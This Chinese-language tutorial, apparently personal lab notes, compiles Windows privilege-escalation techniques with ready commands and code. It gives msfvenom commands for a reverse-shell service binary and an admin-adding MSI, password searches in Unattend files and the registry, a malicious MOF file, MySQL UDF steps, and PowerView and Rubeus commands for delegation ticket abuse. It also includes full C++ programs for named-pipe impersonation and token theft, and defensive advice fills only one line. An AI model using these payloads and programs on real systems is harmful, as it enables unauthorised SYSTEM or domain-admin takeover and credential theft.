Windows提權方法匯總
一、無引號服務路徑 ( Trusted Service Paths )
先說實用度,比較被動,而且比較看臉。
Windows下服務的權限通常是SYSTEM。如果我們能夠替換服務的啟動程序為我們的惡意程序(如反彈shell),即相當于獲得了SYSTEM權限,達到了提權的目的。
無引號服務路徑有可能會導致這種情況的發生。
所謂無引號服務路徑,就是服務啟動程序的路徑中包含了空格且未被引號包含起來。比如這樣
C:\Program Files\floder1\service.exe
因為空格的存在,Windows在啟動服務找尋服務啟動項時,它會按照以下順序進行啟動項尋找
C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe
這就給了我們有機可乘的機會:如果我們在服務的上層目錄有寫入或完全控制權限,我們完全可以將一個可執行文件放在Windows搜尋服務啟動項的更靠前順序上。

我們用以下命令來搜索哪些服務路徑沒有包含引號
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
找到一個。接下來我們的思路可能就是在2345Explorer目錄下創建一個Protect.exe了,所以我們要看看2345Explorer目錄我們的權限如何。
先來一手whoami /all.發現自己是Users組的。

然后使用icacls命令查看在2345Explorer目錄的權限如何

users組是完全控制權(F),那么我們直接用msfvenom構造一個反彈shell的exe。命名為Protect.exe,放入2345Explorer目錄。我這里隨便編碼了一下
msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 LPORT=10068 -f exe -o Protect.exe

然后我們現在是沒有能力重啟服務的。。只能等管理員重啟服務或者機子重啟。然后就拿到SYSTEM權限了。但是這里還有一個坑點,這個坑點是如果一個服務啟動后在一定時間內未與 Service Control Manager(SCM) 通訊,就會被停止。

所以我們要在拿到shell后及時的轉移進程或者添加管理員賬戶。
轉移進程在msf中很簡單,meterpreter中先用ps查看進程,隨便找一個system權限,記住其pid,然后 migrate PID 即可完成進程遷移。
下面來說說防治方法吧。進入注冊表修改窗口,在 HKEY_LOCAL_MACHINE >> SYSTEM >>
CurrentControlSet >> Services
路徑下找到存在漏洞的服務,修改其ImagePath,把路徑前后加個引號就可了。
二、易受攻擊的服務(Vulnerable Services )
同樣看臉且被動
這個攻擊方法大致分兩類
1.替換服務的二進制文件。這個方法較為簡單,如果對服務二進制文件所在目錄有修改權,那么我們完全可以創建一個惡意程序來替換原有的二進制文件服務。這個比較簡單,而且基本上攻擊流程和Trusted Service Paths如出一轍,同樣也是比較被動地等待重啟服務才能彈shell,就不再演示了。
2.修改服務的屬性。如果我們能修改服務的 BINARY_PATH_NAME 屬性(這個屬性用于指向服務的二進制文件),我們就可以通過設置 BINARY_PATH_NAME 的值為系統命令,然后重啟服務時我們的系統命令會被執行。
對于后者,我們需要一款工具來快速揭示出我們能修改哪些服務的屬性。
這個工具我們采用accesschk.exe,它是微軟產出的,基本不會報毒。
我們通過該工具執行以下命令
accesschk.exe -uwcqv "Authenticated Users" * /accepteula or accesschk.exe -uwcqv "Users" * /accepteula 來查看Users組(根據實際情況來填哪個組)對哪些服務有哪些權限
如果對某個服務有service_all_access或者以下權限,就說明能對其屬性進行修改。

比如我們對Spooler服務有service_all_access權限,我們就可以這樣做。
通過修改其binPath為惡意指令,然后等待管理員重啟服務,我們的惡意指令就會被執行。

三、AlwaysInstallElevated
如果windows啟用了如下注冊表項
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
那么所有msi(windows應用安裝程序)都會以SYSTEM權限運行。此時如果我們執行一個惡意msi程序,即可達到提權目的
同時需要注意的一點是,這個注冊表項不一定總是存在的。(比如我的實驗機
我們可以通過reg query來驗證這兩條注冊表項的情況
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
若均為1,我們就可以通過msfvenom生成惡意msi來提權
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi
然后執行,獲得一個管理員賬戶。
四、信息泄露
Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml 存在著一定信息泄露,他們通常存在于以下路徑
C:\Windows\Panther\ C:\Windows\Panther\Unattend\ C:\Windows\System32\ C:\Windows\System32\sysprep\
找到后,找到 Unattend.xml 文件中的標簽。就有可能找到用戶的加密后的密碼。。
<UserAccounts> <LocalAccounts> <LocalAccount> <Password> <Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=Value> //PASSWORD <PlainText>falsePlainText> Password> <Description>Local AdministratorDescription> <DisplayName>AdministratorDisplayName> <Group>AdministratorsGroup> <Name>AdministratorName> LocalAccount> LocalAccounts> UserAccounts> 一些敏感文件查詢指令 C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr \*password\* reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s
五、基于資源的域委派攻擊
refer:https://xz.aliyun.com/t/7454
原理的幾個點:
1.S4U2SELF 協議可以在用戶沒有配置 TrustedToAuthenticationForDelegation 屬性(即開啟使用任何協議認證的約束性委派)時被調用,但是返回的ST是不可被轉發的。
2.基于資源的約束性委派主機 在被另一臺主機委派訪問時,在S4U2PROXY過程中提交過來的ST如果即使是不可轉發的。KDC依舊會返回有效的ST2。
3.每個普通域用戶默認可以創建至多十個機器賬戶( 由MachineAccountQuota屬性決定 ),每個機器賬戶被創建時都會自動注冊SPN: RestrictedKrbHost/domain和HOST/domain這兩個SPN
攻擊流程:
假設開啟基于資源的約束性委派機器為A
1.首先要有一個對當前計算機有寫權限的賬戶,才能對A設置可以 被 委派訪問的服務賬戶。
2.利用當前賬戶創建一個機器賬戶,并配置好機器賬戶到A的 基于資源的約束性委派
3.因為機器賬戶是我們創建的,我們知道他的密碼賬戶,可以讓它利用S4U2SELF協議獲得一個不可轉發ST。然后用這個不可轉發ST通過S4U2PROXY,在基于資源的約束性委派基礎上獲得有效的訪問A cifs服務的ST2。
4.用ST2訪問A的CIFS服務,權限獲得。
實操
這個攻擊說白了就是個提權…
首先我們檢查一下域控是否是win2012以上的主機,因為只有這樣才能開啟 基于資源的約束性委派。
我們使用powersploit下的powerview腳本。執行命令 get-netdomaincontroller

可以獲得域控WIN版本
然后我們查看當前用戶對哪臺主機有寫權限。因為是實驗,所以我們先來看看怎么配置一個用戶對一個機器的權限。
直接在域控上找到某主機,然后進入在屬性里進入安全選項卡,添加某用戶,然后給這個用戶分配權限即可。

我們依舊使用powerview。先調用
Get-DomainUser -Identity username -Properties objectsid來獲取當前用戶SID
然后Get-DomainObjectAcl -Identity 主機名 | ?{$_.SecurityIdentifier -match "剛剛得到的SID"} 查看當前用戶對某臺主機是否有寫權限。

如果有 GenericAll(完全控制權),GenericWrite、WriteProperty、WriteDacl 這些屬性,就說明該用戶能修改計算機的賬戶屬性。
如圖看到我們對WIN7進行操作
好的,我們接下來就要創立一個機器用戶了。根據網上搜索結果,使用powermad這個ps腳本可以很快捷的創建一個機器用戶。https://github.com/Kevin-Robertson/Powermad
Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)

好的,我們添加了一個密碼hack,名為hacksystem的機器賬戶,接下來就是配置hacksystem到WIN7的委派了。我們需要做的,是修改WIN7的 msDS-AllowedToActOnBehalfOfOtherIdentity屬性的值 ,這個操作我們用powerview實現。
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"
#這兒的sid是我們創建的#機器用戶#evilsystem的sid
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

至于機器賬戶SID怎么獲得,powerview下的 get-domiancomputer hacksystem
然后使用Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity查看委派是否設置成功
Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose 此命令可以清除 msds-allowedtoactonbehalfofotheridentity屬性的值
現在都統統設置好了,開始下一步吧。
網上一般用的rubeus,這里我用kekeo吧
Rubeus.exe hash /user:xxx /password:xxx /domain:xxx
本地運算出機器用戶ntlm hash 這里借用一下別人的圖

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt寫入票據
然后我在本機使用以上方法后klist一下,發現確實存在票據

但是dir \test1\c$時本機莫名其妙不能進行kerberos驗證,我服了》。。但不管怎樣,我們拿到銀票了
敏感用戶不可委派的繞過

若我們的administrator用戶被設置為敏感用戶不可委派或者被加入保護組,按理說他的訪問就不能進行委派。
我們在以administrator賬戶身份進行S4U時,只能進行S4U2SELF,不能進行S4U2PROXY。我們用 Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt繼續實驗administrator,發現確實是這樣

此時我們用 rubeus.exe describe /ticker:S4Ubase64加密的票據

可以發現servicename并沒有指定某個服務,僅僅只有一個賬戶.即發生了服務名稱缺失的問題。很簡單,把票據修改一下就行了.網上很多說用這個工具
https://www.pkisolutions.com/tools/asn1editor/
但實際上rubeus也能完成票據修改rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt


完事
六、POTATO 家族
hot potato
熱土豆提權。很早前就聽說過了,但一直沒去了解過。前置知識是ntlm relay,可以去了解了解。potato家族有很多,hot potato只是其中一種提權方式。
我環境有問題,不能很好的復現?,抓包分析啥的先咕咕吧。
https://github.com/foxglovesec/Potato?工具
https://foxglovesecurity.com/2016/01/16/hot-potato/ ?HOT POTATO技術文檔,國內基本上翻譯這個來的。
提權步驟大概是這個流程
1.本地nbns服務欺騙
2.wpad劫持
3.HTTP->SMB 的 ntlm relay
1.本地nbns服務欺騙
Windows域名解析規則是
本地HOST文件-》dns查詢-》NBNS或者LLMNR查詢
一旦本地發出NBNS查詢,我們本地就可以迅速響應,啪的一下就響應了,很快啊,本地發包很快,只要發出NBNS包基本上都能被我們本地發包響應。
但是以上步驟還是有一些細節的:我們當前并非管理員權限,大幾率是無法嗅探本地流量的,如果我們能夠事先知道目標主機期望NBNS查詢獲得的主機名,我們可以偽造一個響應,對發送NBNS查詢的那個主機快速的大量發送NBNS響應
但是nbns流量包還有個叫特征碼的東西,請求包和響應包的特征碼必須相同,所以我們被迫發送65536個包爆破這個特征碼——本地發包速度很快,本地NBNS欺騙成功率基本上在100%。
2.WPAD劫持
NBNS欺騙后我們就可以劫持WPAD的域名,把自己偽造稱WPAD并返回自定義的PAC文件。意味著我們可以把本地發出的所有流量重定向。
3.RELAY
在現在這個年代,SMB->SMB的relay很少用到了,微軟 禁用了同協議的NTLM認證 ,成功率很低。
但是HTTP->SMB的relay還是有的。HOT POTATO就是利用的這一點。
我們可以把主機發出的HTTP請求重定向到我們自定義的網頁A,而網頁A需要NTLM認證,我們就可以進行HTTP->SMB的relay’了。當HTTP請求來自于高權限的賬戶時,例如是來自windows
更新服務的請求,命令就會以”NT AUTHORITY\SYSTEM”權限運行。
HOT POTATO 根據Windows版本的不同,需要等待高權限用戶NTLM認證來到的時間也不同。一般來說,
WIN7是瞬間就可以提權的
Windows Server 2012 R2,Windows Server 2012,Windows 8.1,Windows 8有一個自動更新機制,會每天下載證書信任列表(CTLs)
,etc
七、MYSQL下的提權技術
MOF提權
在c:/windows/system32/wbem/mof/目錄下的nullevt.mof每分鐘都會有一個特定的時間去執行一次(由”And
TargetInstance.Second = 5″;控制,這里輸入5就是每分鐘的第五秒執行。那么把cmd命令添加到nullevt.mof中,cmd命令就會自動執行了。
前提是我們要能進入數據庫進行操作,且mysql數據庫的權限盡可能高才更有利。同時secure-file-priv 要為空( mysql 5.6.34版本以后 secure_file_priv的值默認為NULL,禁止所有文件導入導出功能)
我們偽造的MOF文件格式如下
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")WSH.run(\"net.exe user admin admin /add\")"; //修改此處即可
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
修改上面的cmd部分即可實現以管理員身份執行各種命令。
然后我們使用mysql下的命令 ,將mof覆蓋過去。
待我們的命令被執行后,即代表提權成功。
Windows 2003似乎成功率蠻高的,WIN7試了試沒反應。。。
UDF提權
(這個也可以linux提權
udf,即自定義函數(user define function)
MYSQL可以自定義函數的。自定義函數在Windows下是以DLL文件存在于MYSQL的插件文件夾里面的(linux則是以os的形式)。我們可以自定義一個惡意dll,里面存放著可以執行系統命令的 函數。然后交給mysql以數據庫權限執行。
前提:我們能操作數據庫,且數據庫權限必須很高(我們用這個方法提權到的權限就是數據庫的權限
那么這個dll文件哪里來呢。sqlmap和msf都有。sqlmap下的
sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
就是這個dll文件的編碼版本。我們使用sqlmap下的sqlmap/extra/cloak/cloak.py對其進行解碼獲得dll文件。
python ./cloak.py -d -i ./lib_mysqludf_sys.dll_ 即可獲得dll文件
然后我們把dll文件放入mysql的插件文件夾,命名為udf.dll。插件文件夾可以通過命令
show variables like "%plugin%";獲得 (/lib/plugin文件夾需要自己創建)
至于怎么把dll放入插件文件夾
1.直接粘貼復制 (權限可能不夠
2.使用命令 select load_file(‘udf.dll’) into dumpfile “PLUGIN的路徑”;(需要secure_file_priv為空
總之,如果把udf.dll放入plugin文件夾后,我們就可以執行以下操作提權了。
create funtion sys_eval returns string soname "udf.dll";
select sys_eval('cmd');

啟動項提權
說白了,就是通過mysql的高權限,向windows開機啟動項文件夾里放入惡意vbs或者bat腳本,機器重啟后自動執行。怎么讓機器重啟?等管理員或者 一些可導致服務器藍屏的EXP
啟動項路徑一般為:
C:\Documents and Settings\All Users\「開始」菜單\程序\啟動
C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
select load_file("xxx") into dumpfile "xxxx";

沒什么好說的
八、命名管道提權
提權方式為 令牌模仿。Token Impersonation .
meterpreter的getsystem的提取方法之一就是這個方法
提權過程為從administrator用戶提到SYSTEM權限。從普通用戶提權到admin及以上權限是不可取的,因為普通用戶創建的命名管道沒有 SeImpersonatePrivilege,在復制令牌時會出現1346錯誤。
該方法技術細節為:以管理員權限創建一個命名管道,再通過創建SYSTEM權限服務,讓服務連上命名管道,隨后我們通過模擬客戶端,獲得SYSTEM權限的令牌,隨后將其復制,再用復制后的令牌創建新進程(如CMD),新進程的權限即SYSTEM權限。
這里貼上實現代碼.
首先是被創建的服務的實現代碼,該服務啟動后會不斷向服務器命名管道建立鏈接
生成好后,是Service.exe
#include
#include
SERVICE_STATUS m_ServiceStatus;
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning;
void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
void WINAPI HandlerFunc(DWORD code);
int main() {
WCHAR Servicename[] = L"ServiceA";
SERVICE_TABLE_ENTRY Table[] = { {Servicename,ServiceMain},{NULL,NULL} };
StartServiceCtrlDispatcher(Table);
}
void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) {
m_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
m_ServiceStatus.dwWin32ExitCode = 0;
m_ServiceStatus.dwServiceSpecificExitCode = 0;
m_ServiceStatus.dwCheckPoint = 0;
m_ServiceStatus.dwWaitHint = 0;
m_ServiceStatusHandle = RegisterServiceCtrlHandler(L"ServiceA", HandlerFunc);
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
m_ServiceStatus.dwCheckPoint = 0;
m_ServiceStatus.dwWaitHint = 0;
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
bRunning = true;
while (bRunning) {
LPCWSTR PipeName = L"\\\\.\\pipe\\testpipe";
HANDLE PipeHandle=NULL;
BOOL PipeInstance;
WCHAR message[512] = { 0 };
DWORD bytesWritten = 0;
BOOL Flag = true;
wchar_t message2[] = L"HELL";
DWORD messageLength = lstrlen(message2) * 2;
do {
PipeHandle = CreateFile(PipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
} while (PipeHandle == INVALID_HANDLE_VALUE);
WriteFile(PipeHandle, &message2, messageLength, &bytesWritten, NULL);
Flag = ReadFile(PipeHandle, &message, 512, &bytesWritten, NULL);
std::cout << "Message:" << message << std::endl;
}
}
void WINAPI HandlerFunc(DWORD code) {
switch (code) {
case SERVICE_CONTROL_PAUSE:
m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
m_ServiceStatus.dwWin32ExitCode = 0;
m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
m_ServiceStatus.dwCheckPoint = 0;
m_ServiceStatus.dwWaitHint = 0;
SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
bRunning = false;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
}
}
然后是主體,命名管道服務器。生成后是Server.exe
#include
#include
int main() {
LPCWSTR pipeName = L"\\\\.\\pipe\\testpipe";
LPVOID pipeBuffer = NULL;
HANDLE serverPipe;
DWORD readBytes = 0;
DWORD readBuffer = 0;
int err = 0;
BOOL isPipeConnected;
BOOL isPipeOpen;
wchar_t message[] = L"HELL";
DWORD messageLenght = lstrlen(message) * 2;
DWORD bytesWritten = 0;
WCHAR message2[512] = { 0 };
//Open a Named Pipe,Wait for a connection
std::wcout << "Creating named pipe " << pipeName << std::endl;
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
//Create a service of system to connect to our NamedPipe.
char servicename[] = "Service.exe";
char servicepath[_MAX_PATH];
SERVICE_STATUS status;
GetModuleFileNameA(LoadLibraryA(servicename), servicepath, sizeof(servicepath));
SC_HANDLE scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if (GetLastError() == 0) {
}
else {
std::cout << "ERROR OpenSCManager:" << GetLastError() << std::endl;
}
SC_HANDLE scService = CreateServiceA(scManager, servicename, servicename,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
servicepath, NULL, NULL, NULL, NULL, NULL);
if (!scService) {
if (GetLastError() == 1073) {
std::cout << "The Service has been exsisted" << std::endl;
}
else {
std::cout << "ERROR CreateServiceA:" << GetLastError() << std::endl;
}
}
SC_HANDLE scServiceA = OpenServiceA(scManager, servicename, SERVICE_ALL_ACCESS);
if (StartService(scServiceA, 0, NULL)) {
std::cout<<"service Start success"<<std::endl;
}
else {
if (GetLastError() == 1056) {
std::cout << "service is running,don't need to start again" << std::endl;
}
}
//Connect !
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
if (isPipeConnected) {
std::wcout << "Incoming connection to " << pipeName << std::endl;
ReadFile(serverPipe, &message2, 512, &bytesWritten, NULL);
std::cout << message2;
}
else {
std::cout << "Does not connected Error: "<std::endl;
}
std::wcout << "Sending message: " << message << std::endl;
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
//Toekn Impersonation
std::wcout << "Impersonating the client..." << std::endl;
if (!ImpersonateNamedPipeClient(serverPipe)) {
std::cout<<"ImpersonateNamedPipeClient ERROR: "<std::endl;
}
else {
std::cout << "ImpersonateNamedPipeClient success" << std::endl;
}
STARTUPINFOA si;
PROCESS_INFORMATION pi = {};
ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
HANDLE token;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
std::cout << "GetCurrentThread ERROR:" << GetLastError() << std::endl;
}
CHAR command1[] = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
WCHAR command2[] = L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
HANDLE Token;
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenImpersonation,&Token)) {
std::cout << "DuplicateTokenEx ERROR:" << GetLastError() << std::endl;
}
else {
std::cout << "Impersonate completed" << std::endl;
}
if (!CreateProcessAsUserA(token, NULL, command1, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
std::cout << "CreateProcessAsUserA ERROR:" << GetLastError() <<" Now Use CreateProcessWithTokenW"<< std::endl;
if (!CreateProcessWithTokenW(token, LOGON_NETCREDENTIALS_ONLY, NULL, command2, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
std::cout << "CreateProcessWithTokenW ERROR:" << GetLastError() << std::endl;
}
else {
std::cout << "CreateProcessWithTokenW success" << std::endl;
}
}
else {
std::cout << "CreateProcessWithTokenW success" << std::endl;
}
while(1){}
}
我們生成了Service.exe,然后把他移到Server.exe同級目錄,以管理員權限運行Server.exe,即可達到admin-》system的提權。

程序寫了四天終于寫好了。。WIN7下可以實現完美提權。
項目地址:https://github.com/ConsT27/EvilNamedPipe/tree/1.0
令牌竊取
SYSTEM->本機上其他用戶(包括域用戶)(好家伙,只要本機有system權限,域管敢在本機上創建進程就直接能拿到域管權限)
或者admin獲取debug權限后去獲取SYSTEM權限(這里有一個細節點,只有owner為administrator的SYSTEM進程才能被利用,比如lsass,dllhost)
技術細節:通過尋找高權限開啟的進程,再復制其令牌用以創建新進程,即可達到提權目的
#include
#include
//Only administrator can get debug priv
BOOL GetDebugPriv() {
HANDLE Token;
TOKEN_PRIVILEGES tp;
LUID Luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token)) {
std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
return false;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) {
std::cout << "LookupPrivilegeValue ERROR" << GetLastError() << std::endl;
return false;
}
tp.Privileges[0].Luid = Luid;
if (!AdjustTokenPrivileges(Token, FALSE, &tp, sizeof(tp), NULL, NULL) ){
std::cout << "AdjustTokenPrivileges ERROR" << GetLastError() << std::endl;
return false;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
return false;
}
else {
return true;
}
}
int main(int argc, char* argv[]) {
HANDLE t_process;
HANDLE token = NULL;
HANDLE token_bak = NULL;
DWORD process_id;
sscanf_s(argv[1], "%ul", &process_id);
WCHAR command[] = L"C:\\Windows\\System32\\cmd.exe";
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
std::cout << argv[1] << std::endl;
std::cout << "Openning process PID:" << process_id << std::endl;
if (GetDebugPriv()== TRUE) {
std::cout << "Got the debug priv" << std::endl;
}
else {
std::cout << "GetDebugPriv ERROR" << std::endl;
}
system("whoami /priv");
t_process = OpenProcess(PROCESS_ALL_ACCESS, true, process_id);
if (!t_process) {
std::cout << "OpenProcess ERROR" << GetLastError() << std::endl;
}
if (!OpenProcessToken(t_process, TOKEN_ALL_ACCESS, &token)) {
std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
}
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &token_bak)) {
std::cout << "DuplicateTokenEx ERROR" << GetLastError() << std::endl;
}
if (!CreateProcessWithTokenW(token_bak, LOGON_WITH_PROFILE, NULL, command, 0, NULL, NULL, &startupInfo, &processInformation)) {
std::cout << "CreateProcessWithTokenW ERROR" << GetLastError() << std::endl;
}
return 0;
}

這是在win7下的測試結果 const\administrator 是域控